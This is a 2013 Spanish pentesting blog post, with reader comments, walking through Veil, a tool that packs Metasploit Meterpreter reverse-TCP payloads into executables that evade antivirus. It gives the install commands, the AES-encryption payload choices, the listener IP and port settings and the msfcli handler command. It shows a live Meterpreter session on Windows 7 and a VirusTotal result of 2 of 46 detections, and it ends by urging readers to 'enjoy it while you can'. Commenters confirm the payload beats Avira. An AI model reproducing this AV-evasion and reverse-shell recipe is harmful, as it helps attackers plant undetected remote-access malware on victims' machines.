lunes, 3 de junio de 2013

Antivirus Bypass con Veil

Hace unos pocos días Christopher Truncer publicaba en SU BLOG un artículo sobre una herramienta desarrollada por él mismo y a la que ha dado el nombre de VEIL. Esta herramienta tiene una utilidad interesante para todos aquellos que nos dedicamos al Pentesting y tenemos en ocasiones algún problema con los Antivirus, ya que genera payloads de Metasploit que luego codifica de una manera propia y genera un ejecutable nuevo, a priori no detectado por ellos.

La herramienta puede descargarse de ESTE GITHUB, y a priori debería ser multiplataforma, aunque yo no lo he conseguido hacer funcionar en mi Mac, así que os recomendo que lo probéis directamente con Kali Linux.

# git clone https://github.com/ChrisTruncer/Veil.git

Incluso si lo hacéis con Kali-Linux, es necesario instalar una serie de componentes en el Wine (Python y otros módulos). Por suerte el autor nos ha dejado un script que lo hace todo de forma automática. Solo tenemos que ir dandole a siguiente a todo lo que salga:

# cd Veil
# cd setup
# ./setup.sh

Una vez hecho esto, ya podemos llamar a Veil y empezar a jugar:

# ./Veil.py 
====================================
 Veil | [Version]: 1.0 | [Updated]: 05.30.2013
====================================
 [By]: Chris Truncer | [Twitter]: @ChrisTruncer
====================================
[?] What payload type would you like to use?
 1 - Meterpreter - Python - void pointer
 2 - Meterpreter - Python - VirtualAlloc()
 3 - Meterpreter - Python - base64 Encoded
 4 - Meterpreter - Python - Letter Substitution
 5 - Meterpreter - Python - ARC4 Stream Cipher
 6 - Meterpreter - Python - DES Encrypted
 7 - Meterpreter - Python - AES Encrypted
 0 - Exit Veil
[>] Please enter the number of your choice: 7

Nos da varias opciones de técnicas que podemos usar para generar un Meterpreter evadiendo los antivirus. Elegimos, por ejemplo, el cifrado AES, y seguimos adelante:

[?] What type of payload would you like?
 1 - Reverse TCP
 2 - Reverse HTTP
 3 - Reverse HTTPS
 0 - Exit Veil
[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.1.100
[?] What's the Local Port Number: 1212
[*] Generating shellcode...

Elegimos que el payload sea reverse_tcp e introducimos los datos de nuestra IP y puerto a la escucha. Seguimos adelante:

[?] How would you like to create your payload executable?
 1 - Pyinstaller (default)
 2 - Py2Exe
[>] Please enter the number of your choice: 1
184 INFO: wrote Z:\opt\Veil\payload.spec
244 INFO: Testing for ability to set icons, version resources...
261 INFO: ... resource update available
267 INFO: UPX is not available.
2296 INFO: checking Analysis
[...]

Elegimos que genere el binario con PyInstaller, que es la opción por defecto y ,después de unas cuantas lineas, al final nos avisa de que el binario ha sido generado:

[!] Be sure to set up a Reverse TCP handler with the following settings:
 PAYLOAD = windows/meterpreter/reverse_tcp
 LHOST   = 192.168.1.100
 LPORT   = 1212
[!] Your payload files have been generated, don't get caught!

Parece que ya tenemos el Payload generado pero... ¿funcionará? Vamos a lanzar un módulo multi/handler de Metasploit y a ejecutarlo en un Windows, a ver si funciona como nos tiene acostumbrados:

$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=1212 E
[*] Started reverse handler on 0.0.0.0:1212 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:1212 -> 192.168.1.100:50461) at 2013-05-31 10:53:58 +0200
meterpreter > sysinfo
Computer        : S21SEC-JSELVI
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : es_ES
Meterpreter     : x86/win32

Funcionar vemos que funciona, pero ahora falta ver si de verdad es indetectable por los antivirus. Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas. EL RESULTADO del análisis han sido que solo 2 de los 46 AntiVirus lo han detectado, y ninguno de ellos era de los principales fabricantes del sector.


No tengo muy claro que su capacidad para evadir los antivirus esté en las técnicas elegidas al arrancar Veil, o si es simplemente por el hecho de estar usando un convertidor de código Python a EXE. No he hecho la prueba, pero veo bastante probable que eso tenga gran parte de la culpa de este resultado.

Como la herramienta es pública, es cuestión de tiempo que las compañias AV lo analicen y sus binarios empiecen a ser detectados, así que... ¡disfrutáis mientras podáis!

6 comentarios :

Anónimo dijo...

felicidades acabas de quemar el metodo virustotal envia muestras

Jose Selvi dijo...

Ya se que envia muestras, por eso en el articulo pone esto:

"Por norma general no os recomiendo que utilicéis VirusTotal para probar vuestros encoders, porque VT distribuye las muestras a las casa antivirus, así que os podéis encontrar de que de repente empiecen a detectar vuestro encoder, cuando antes no lo hacían. Sin embargo, en este caso, la herramienta es pública, así que es cuestión de tiempo que se pongan con ello y empiecen a detectarlo, por lo que podemos hacer el experimento con VT sin problemas."

Las compañias antivirus hacen su trabajo. Si no quieres quemar un método para saltartelos... No lo publiques. Una vez publicado, pasarlo por VT no lo quema más, ya está quemado.

zerial killer dijo...

Al final de la nota comentas que si tiene que ver mucho utilizar py2exe y pyinstaller, te comento que si tiene toda la culpa, en pruebas personales no con este script me he dado cuenta que es mas detectable py2exe que pyintaller...

saludos.

Jose Luis Toro dijo...

realice las pruebas en una maquina virtual atacando mi propia maquina y funciona al 100%, mi antivirus es avira y no lo reconoce ni como virus ni como troyano, por lo que el ataque se realizo sin ningun inconveniente...mi SO es un win8

jose dijo...

hola, tengo problema para instalar el veil en kali linux, a lo primero me desia k me faltava el extlinux luego lo intale todo bn pero a la ora de ejecutar veil para utilizarlo no nada waaoo ayudanme con esto plis

Jose Selvi dijo...

Hola @Jose, si tienes problemas al hacer funcionar la herramienta, lo mejor es que acudas al desarrollador de la propia herramienta, o a los desarrolladores de Kali, que son los que conocen mejor los internals y sabrán decirte mejor porque ocurre tu problema.

Suerte!